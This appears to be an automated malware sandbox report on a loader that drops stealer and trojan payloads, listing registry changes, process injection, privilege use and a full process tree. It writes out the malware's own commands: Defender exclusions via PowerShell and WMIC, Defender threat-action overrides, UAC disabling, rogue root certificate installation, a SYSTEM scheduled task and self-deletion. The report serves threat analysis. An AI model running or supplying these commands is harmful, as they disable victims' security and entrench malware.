Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	jPlxNKH.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	Install.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064	fileosn.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61	fileosn.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
240	b097d587bcd2e7250cba4c4048e6c22ab00a662b8d45dbff9d7a8ac500b22696.exe
240	b097d587bcd2e7250cba4c4048e6c22ab00a662b8d45dbff9d7a8ac500b22696.exe
1404	axplont.exe
1404	axplont.exe
1428	RegAsm.exe
1428	RegAsm.exe
2928	svhoost.exe
1548	One.exe
2648	powershell.exe
2648	powershell.exe
2648	powershell.exe
4380	lM9iCuWvZg8YCzg9l0R8NoYM.exe
4380	lM9iCuWvZg8YCzg9l0R8NoYM.exe
4380	lM9iCuWvZg8YCzg9l0R8NoYM.exe
4380	lM9iCuWvZg8YCzg9l0R8NoYM.exe
2764	axplont.exe
2764	axplont.exe
2928	svhoost.exe
2928	svhoost.exe
2928	svhoost.exe
2928	svhoost.exe
4484	powershell.exe
4484	powershell.exe
4484	powershell.exe
4428	powershell.exe
4428	powershell.exe
4428	powershell.exe
1880	powershell.exe
1880	powershell.exe
1880	powershell.exe
248	powershell.exe
248	powershell.exe
248	powershell.exe
3248	powershell.exe
3248	powershell.exe
3248	powershell.exe
2340	powershell.EXE
2340	powershell.EXE
2340	powershell.EXE
1428	powershell.exe
1428	powershell.exe
1428	powershell.exe
1440	jPlxNKH.exe
1440	jPlxNKH.exe
1440	jPlxNKH.exe
1440	jPlxNKH.exe
1440	jPlxNKH.exe
1440	jPlxNKH.exe
1440	jPlxNKH.exe
1440	jPlxNKH.exe
1440	jPlxNKH.exe
1440	jPlxNKH.exe
1440	jPlxNKH.exe
1440	jPlxNKH.exe
1440	jPlxNKH.exe
1440	jPlxNKH.exe
1440	jPlxNKH.exe
1440	jPlxNKH.exe
4496	powershell.exe
4496	powershell.exe
4496	powershell.exe
1440	jPlxNKH.exe
1440	jPlxNKH.exe
1440	jPlxNKH.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1548	One.exe
Token: SeBackupPrivilege	1548	One.exe
Token: SeSecurityPrivilege	1548	One.exe
Token: SeSecurityPrivilege	1548	One.exe
Token: SeSecurityPrivilege	1548	One.exe
Token: SeSecurityPrivilege	1548	One.exe
Token: SeDebugPrivilege	1420	file300un.exe
Token: SeDebugPrivilege	2928	svhoost.exe
Token: SeDebugPrivilege	1188	installutil.exe
Token: SeDebugPrivilege	2648	powershell.exe
Token: SeManageVolumePrivilege	4380	lM9iCuWvZg8YCzg9l0R8NoYM.exe
Token: SeDebugPrivilege	4916	RegAsm.exe
Token: SeDebugPrivilege	4484	powershell.exe
Token: SeDebugPrivilege	4428	powershell.exe
Token: SeIncreaseQuotaPrivilege	1428	WMIC.exe
Token: SeSecurityPrivilege	1428	WMIC.exe
Token: SeTakeOwnershipPrivilege	1428	WMIC.exe
Token: SeLoadDriverPrivilege	1428	WMIC.exe
Token: SeSystemProfilePrivilege	1428	WMIC.exe
Token: SeSystemtimePrivilege	1428	WMIC.exe
Token: SeProfSingleProcessPrivilege	1428	WMIC.exe
Token: SeIncBasePriorityPrivilege	1428	WMIC.exe
Token: SeCreatePagefilePrivilege	1428	WMIC.exe
Token: SeBackupPrivilege	1428	WMIC.exe
Token: SeRestorePrivilege	1428	WMIC.exe
Token: SeShutdownPrivilege	1428	WMIC.exe
Token: SeDebugPrivilege	1428	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1428	WMIC.exe
Token: SeRemoteShutdownPrivilege	1428	WMIC.exe
Token: SeUndockPrivilege	1428	WMIC.exe
Token: SeManageVolumePrivilege	1428	WMIC.exe
Token: 33	1428	WMIC.exe
Token: 34	1428	WMIC.exe
Token: 35	1428	WMIC.exe
Token: 36	1428	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1428	WMIC.exe
Token: SeSecurityPrivilege	1428	WMIC.exe
Token: SeTakeOwnershipPrivilege	1428	WMIC.exe
Token: SeLoadDriverPrivilege	1428	WMIC.exe
Token: SeSystemProfilePrivilege	1428	WMIC.exe
Token: SeSystemtimePrivilege	1428	WMIC.exe
Token: SeProfSingleProcessPrivilege	1428	WMIC.exe
Token: SeIncBasePriorityPrivilege	1428	WMIC.exe
Token: SeCreatePagefilePrivilege	1428	WMIC.exe
Token: SeBackupPrivilege	1428	WMIC.exe
Token: SeRestorePrivilege	1428	WMIC.exe
Token: SeShutdownPrivilege	1428	WMIC.exe
Token: SeDebugPrivilege	1428	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1428	WMIC.exe
Token: SeRemoteShutdownPrivilege	1428	WMIC.exe
Token: SeUndockPrivilege	1428	WMIC.exe
Token: SeManageVolumePrivilege	1428	WMIC.exe
Token: 33	1428	WMIC.exe
Token: 34	1428	WMIC.exe
Token: 35	1428	WMIC.exe
Token: 36	1428	WMIC.exe
Token: SeDebugPrivilege	1880	powershell.exe
Token: SeDebugPrivilege	248	powershell.exe
Token: SeDebugPrivilege	3248	powershell.exe
Token: SeDebugPrivilege	2340	powershell.EXE
Token: SeDebugPrivilege	1428	powershell.exe
Token: SeDebugPrivilege	4496	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	4704	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4704	WMIC.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3992	McPfBpFwwIGOn8gtcfGtNwBE.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
3992	McPfBpFwwIGOn8gtcfGtNwBE.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 240 wrote to memory of 1404	240	b097d587bcd2e7250cba4c4048e6c22ab00a662b8d45dbff9d7a8ac500b22696.exe	78
PID 240 wrote to memory of 1404	240	b097d587bcd2e7250cba4c4048e6c22ab00a662b8d45dbff9d7a8ac500b22696.exe	78
PID 240 wrote to memory of 1404	240	b097d587bcd2e7250cba4c4048e6c22ab00a662b8d45dbff9d7a8ac500b22696.exe	78
PID 1404 wrote to memory of 1268	1404	axplont.exe	79
PID 1404 wrote to memory of 1268	1404	axplont.exe	79
PID 1404 wrote to memory of 1268	1404	axplont.exe	79
PID 1268 wrote to memory of 4916	1268	33333.exe	80
PID 1268 wrote to memory of 4916	1268	33333.exe	80
PID 1268 wrote to memory of 4916	1268	33333.exe	80
PID 1268 wrote to memory of 4916	1268	33333.exe	80
PID 1268 wrote to memory of 4916	1268	33333.exe	80
PID 1268 wrote to memory of 4916	1268	33333.exe	80
PID 1268 wrote to memory of 4916	1268	33333.exe	80
PID 1268 wrote to memory of 4916	1268	33333.exe	80
PID 1404 wrote to memory of 4668	1404	axplont.exe	81
PID 1404 wrote to memory of 4668	1404	axplont.exe	81
PID 1404 wrote to memory of 4668	1404	axplont.exe	81
PID 4916 wrote to memory of 2928	4916	RegAsm.exe	82
PID 4916 wrote to memory of 2928	4916	RegAsm.exe	82
PID 4916 wrote to memory of 2928	4916	RegAsm.exe	82
PID 4916 wrote to memory of 1548	4916	RegAsm.exe	83
PID 4916 wrote to memory of 1548	4916	RegAsm.exe	83
PID 1404 wrote to memory of 568	1404	axplont.exe	89
PID 1404 wrote to memory of 568	1404	axplont.exe	89
PID 1404 wrote to memory of 568	1404	axplont.exe	89
PID 568 wrote to memory of 1552	568	lumma1234.exe	91
PID 568 wrote to memory of 1552	568	lumma1234.exe	91
PID 568 wrote to memory of 1552	568	lumma1234.exe	91
PID 568 wrote to memory of 1552	568	lumma1234.exe	91
PID 568 wrote to memory of 1552	568	lumma1234.exe	91
PID 568 wrote to memory of 1552	568	lumma1234.exe	91
PID 568 wrote to memory of 1552	568	lumma1234.exe	91
PID 568 wrote to memory of 1552	568	lumma1234.exe	91
PID 568 wrote to memory of 1552	568	lumma1234.exe	91
PID 1404 wrote to memory of 4792	1404	axplont.exe	92
PID 1404 wrote to memory of 4792	1404	axplont.exe	92
PID 1404 wrote to memory of 4792	1404	axplont.exe	92
PID 4792 wrote to memory of 2176	4792	gold.exe	93
PID 4792 wrote to memory of 2176	4792	gold.exe	93
PID 4792 wrote to memory of 2176	4792	gold.exe	93
PID 4792 wrote to memory of 2176	4792	gold.exe	93
PID 4792 wrote to memory of 2176	4792	gold.exe	93
PID 4792 wrote to memory of 2176	4792	gold.exe	93
PID 4792 wrote to memory of 2176	4792	gold.exe	93
PID 4792 wrote to memory of 2176	4792	gold.exe	93
PID 4792 wrote to memory of 2176	4792	gold.exe	93
PID 1404 wrote to memory of 644	1404	axplont.exe	94
PID 1404 wrote to memory of 644	1404	axplont.exe	94
PID 1404 wrote to memory of 644	1404	axplont.exe	94
PID 644 wrote to memory of 1428	644	swizzzz.exe	95
PID 644 wrote to memory of 1428	644	swizzzz.exe	95
PID 644 wrote to memory of 1428	644	swizzzz.exe	95
PID 644 wrote to memory of 1428	644	swizzzz.exe	95
PID 644 wrote to memory of 1428	644	swizzzz.exe	95
PID 644 wrote to memory of 1428	644	swizzzz.exe	95
PID 644 wrote to memory of 1428	644	swizzzz.exe	95
PID 644 wrote to memory of 1428	644	swizzzz.exe	95
PID 644 wrote to memory of 1428	644	swizzzz.exe	95
PID 1404 wrote to memory of 1420	1404	axplont.exe	97
PID 1404 wrote to memory of 1420	1404	axplont.exe	97
PID 1428 wrote to memory of 2008	1428	RegAsm.exe	100
PID 1428 wrote to memory of 2008	1428	RegAsm.exe	100
PID 1428 wrote to memory of 2008	1428	RegAsm.exe	100
PID 2008 wrote to memory of 1880	2008	cmd.exe	102

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	file300un.exe

C:\Users\Admin\AppData\Local\Temp\b097d587bcd2e7250cba4c4048e6c22ab00a662b8d45dbff9d7a8ac500b22696.exe
"C:\Users\Admin\AppData\Local\Temp\b097d587bcd2e7250cba4c4048e6c22ab00a662b8d45dbff9d7a8ac500b22696.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:240
- C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
  "C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1404
- - C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe
    "C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:1268
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4916
    - - C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe
        
        "C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2928
    - - C:\Users\Admin\AppData\Roaming\configurationValue\One.exe
        
        "C:\Users\Admin\AppData\Roaming\configurationValue\One.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1548
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"
        5⤵
        
        PID:1088
      - C:\Windows\SysWOW64\choice.exe
        
        choice /C Y /N /D Y /T 3
        6⤵
        
        PID:3656
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1268 -s 296
      4⤵
      Program crash
      PID:4232
- - C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe
    "C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe"
    3⤵
    - Executes dropped EXE
    - Modifies system certificate store
    PID:4668
- - C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe
    "C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:568
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:1552
- - C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe
    "C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:4792
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:2176
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4792 -s 272
      4⤵
      Program crash
      PID:2644
- - C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe
    "C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:644
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1428
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" & del "C:\ProgramData\*.dll"" & exit
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2008
      - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 5
        6⤵
        Delays execution with timeout.exe
        
        PID:1880
- - C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe
    "C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe"
    3⤵
    - UAC bypass
    - Windows security bypass
    - Executes dropped EXE
    - Windows security modification
    - Checks whether UAC is enabled
    - Suspicious use of SetThreadContext
    - Suspicious use of AdjustPrivilegeToken
    - System policy modification
    PID:1420
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe" -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2648
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
      4⤵
      Drops startup file
      Suspicious use of AdjustPrivilegeToken
      PID:1188
    - - C:\Users\Admin\Pictures\lM9iCuWvZg8YCzg9l0R8NoYM.exe
        
        "C:\Users\Admin\Pictures\lM9iCuWvZg8YCzg9l0R8NoYM.exe" /s
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Writes to the Master Boot Record (MBR)
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4380
    - - C:\Users\Admin\Pictures\x52GNVvtBNmOhfbMxPDeXfhs.exe
        
        "C:\Users\Admin\Pictures\x52GNVvtBNmOhfbMxPDeXfhs.exe"
        5⤵
        Modifies firewall policy service
        Windows security bypass
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Windows security modification
        Checks whether UAC is enabled
        Drops file in System32 directory
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:484
    - - C:\Users\Admin\Pictures\flcK958FZrRqTuI62e4bCLsZ.exe
        
        "C:\Users\Admin\Pictures\flcK958FZrRqTuI62e4bCLsZ.exe"
        5⤵
        Executes dropped EXE
        
        PID:4756
      - C:\Users\Admin\AppData\Local\Temp\7zSC7E4.tmp\Install.exe
        
        .\Install.exe
        6⤵
        Executes dropped EXE
        
        PID:2648
        
        C:\Users\Admin\AppData\Local\Temp\7zSCA84.tmp\Install.exe
        
        .\Install.exe /NQHxdidUQs "385118" /S
        7⤵
        Checks BIOS information in registry
        Executes dropped EXE
        Enumerates system info in registry
        
        PID:4776
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        8⤵
        
        PID:1552
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        9⤵
        
        PID:2376
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        10⤵
        
        PID:3408
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        11⤵
        
        PID:1312
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        9⤵
        
        PID:244
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        10⤵
        
        PID:4792
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        11⤵
        
        PID:4452
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        9⤵
        
        PID:2652
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        10⤵
        
        PID:2492
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        11⤵
        
        PID:2176
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        9⤵
        
        PID:1672
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        10⤵
        
        PID:3948
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        11⤵
        
        PID:796
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        9⤵
        
        PID:952
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        10⤵
        
        PID:1124
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        11⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4484
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        12⤵
        
        PID:4364
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        8⤵
        
        PID:1012
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        9⤵
        
        PID:1408
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        10⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4428
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        11⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1428
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bqGGCwwWIommTRgeuN" /SC once /ST 22:56:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zSCA84.tmp\Install.exe\" 1g /bxsdidSKYC 385118 /S" /V1 /F
        8⤵
        Drops file in Windows directory
        Creates scheduled task(s)
        
        PID:1768
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bqGGCwwWIommTRgeuN"
        8⤵
        
        PID:2520
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C schtasks /run /I /tn bqGGCwwWIommTRgeuN
        9⤵
        
        PID:4168
        
        \??\c:\windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn bqGGCwwWIommTRgeuN
        10⤵
        
        PID:568
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4776 -s 1012
        8⤵
        Program crash
        
        PID:1804
    - - C:\Users\Admin\Pictures\McPfBpFwwIGOn8gtcfGtNwBE.exe
        
        "C:\Users\Admin\Pictures\McPfBpFwwIGOn8gtcfGtNwBE.exe"
        5⤵
        Drops startup file
        Executes dropped EXE
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:3992
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
      4⤵
      PID:2736

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 1268 -ip 1268
1⤵
PID:4464

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 4792 -ip 4792
1⤵
PID:3868

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:3104

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:3900

